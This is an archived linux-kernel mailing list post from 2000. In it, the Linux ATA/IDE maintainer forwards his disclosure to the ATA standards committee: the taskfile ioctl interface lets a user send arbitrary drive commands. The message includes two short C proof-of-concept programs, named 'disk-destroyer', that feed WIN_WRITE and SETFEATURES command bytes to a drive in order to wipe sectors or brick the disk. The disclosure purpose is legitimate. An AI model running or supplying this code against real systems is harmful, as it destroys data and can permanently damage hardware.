To : Stephen Frost <sfrost@mail.snowman.net>
Cc : Steve VanDevender <stevev@efn.org>,
linux-kernel@vger.rutgers.edu
Attchmnt:
Subject : Re: disk-destroyer.c
----- Message Text -----
On Sat, 22 Jul 2000, Stephen Frost wrote:
> > The ATA-DRIVER can be used to abuse hardware.
>
> This is a false analogy. We're not trying to overclock and make
> the disk attempt to spin faster. Much closer is the idea that of someone
> building a car without a lock. The buyer can't tell the lock isn't there,
> but I suspect they'll be having a talk w/ the dealership when the car is
> broken in to.
Really, well I exposed my problem to STANDARDS COMMITTEE's mailing list.
I have ask for help in fixing this issue.
Andre Hedrick
The Linux ATA/IDE guy
---------- Forwarded message ----------
Date: Fri, 21 Jul 2000 22:55:31 -0700 (PDT)
From: Andre Hedrick <t13@linux-ide.org>
To: T13 Reflector <t13@t13.org>
Subject: Heads UP for the Questions from Linux Community to come.
Hi All and Bob,
First I apologize for the pile of mail that any drive or adapter vender
may get in the next two weeks. There has been a flamewar in Linux and I
have had to hand people handgrendes and pull the pin and allow then to
explode their drives to get apoint across. You are free to disagree and
cuss me from here to hell, but there was no way for people to learn.
Please know that I also provide a fix at the same time to show how to
block the nasty.
I have discovered that Linux has been a BAD HOST or the DRIVER has been
BAD. The good new is that I have a fix and will allow all drive
manufacturers to option to create loadable module binaries to use the
newly created FULL TASKFILE commands to give each the option to use Linux
for testing and other fun, but back to the main point.
I verified that I can abuse the taskfile commands in there limited
form in today's driver to allow this
int main(int argc, char *argv[])
{
unsigned char args[4+(512*256)] = {WIN_WRITE,0,0,0,};
int i, fd;
fd = open(argv[1], O_RDONLY|O_NONBLOCK);
for (i=0;i<256;i++) {
if (ioctl(fd, HDIO_DRIVE_CMD, &args)) {
perror(" DISK_DESTROYER falied");
args[0] = i;
}
}
close(fd);
return 0;
}
Basically calling for 256 sectors beginning with ZERO and
the COMMAND_BLOCK issued 0x00 -> 0xFE and executed as a taskfile command.
This is a very bad and stupid thing.
Even worse is ......
int main(int argc, char *argv[])
{
unsigned char args[4+(512*256)] = {WIN_SETFEATURES,0,0,0,};
int i, fd;
fd = open(argv[1], O_RDONLY|O_NONBLOCK);
for (i=0;i<256;i++) {
if (ioctl(fd, HDIO_DRIVE_CMD, &args)) {
perror(" DISK_DESTROYER falied");
args[1] = i;
args[2] = args[1] - 1;
if (!args[2])
args[2] = args[1];
}
}
close(fd);
return 0;
}
The subject will move to a phrase "drive2paperweight" "drive2brick".
Now everyone here knows, and needs to know here, that I do not have any
vender specific commands. Regardless, of this lack of knowledge, the
issue is the ATA-SPEC.
I have used toe SPEC to break the SPEC in order to show a problem to the
folks in Linux with their heads in the sand and their butts in the air.
Given the table in the back of the SPEC of the command matrix
Other that the "BAD HOST" == "GOOD ADAPTER" + "BAD DRIVER" or the DRIVER
needs to have a filter table to decide which user-space sysadmin utils get
priviledge, why does the SPEC allow for such abuse?
I know that there are two camps here, and I am off in the woods with
Bob (MS) G. as an OS members of the standard's body. Given the nature of
this nasty and that I broke all the rules to break the standard, the end
result is that a FileSystem and/or Device could be damaged.
Is there a way to modify the SPEC to prevent bogus command combinations
from passing to the drive, regardless of the host/driver's intent?
Because I have had to expose a problem of this depth and nature, the
hacker script kiddies now know some of what I know and how to invoke the
nasties. Soon there will be attempts to VBS MSIE and FrontPage with
psuedo taskfile commands that wax/wipe upto the first 256 512k-blocks
on the drive beginning with LBA 0, from the hacker-script-kiddies.
Feel free to chew my butt, but it was known before I exposed it and have a
fix for Linux, but I find it my responsiblity to explain to this committee
that people have a better feel for the power of taskfiles now. Since I
was shown this hole and others are now stating they knew all about it and
wondered how long it would take me to find it and fix it........
I have been made a donkey in from of my peers, this is okay.
This donkey now comes before a different body of peers to inform/seek/fix
the issue if it can be. The phrase do not do that is not valid.
Before WWW.ROOTSHELL.COM posts how to do some of these nasties, I hope
there is a way to block this issue. I will give any of my knowledge to
the HOST/DRIVE vender that write drivers for their product the explain how
I have prevented general abuse of TASKFILES in restricted interfaces, yet
allowing hooks to invoke full use in general.
Again I apologize for the mess but it better to have a controlled mess
than an accident.
Respectfully,
Andre Hedrick
The Linux ATA/IDE guy
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/
This archive was generated by hypermail 2b29 : Sun Jul 23 2000 - 21:00:18 EST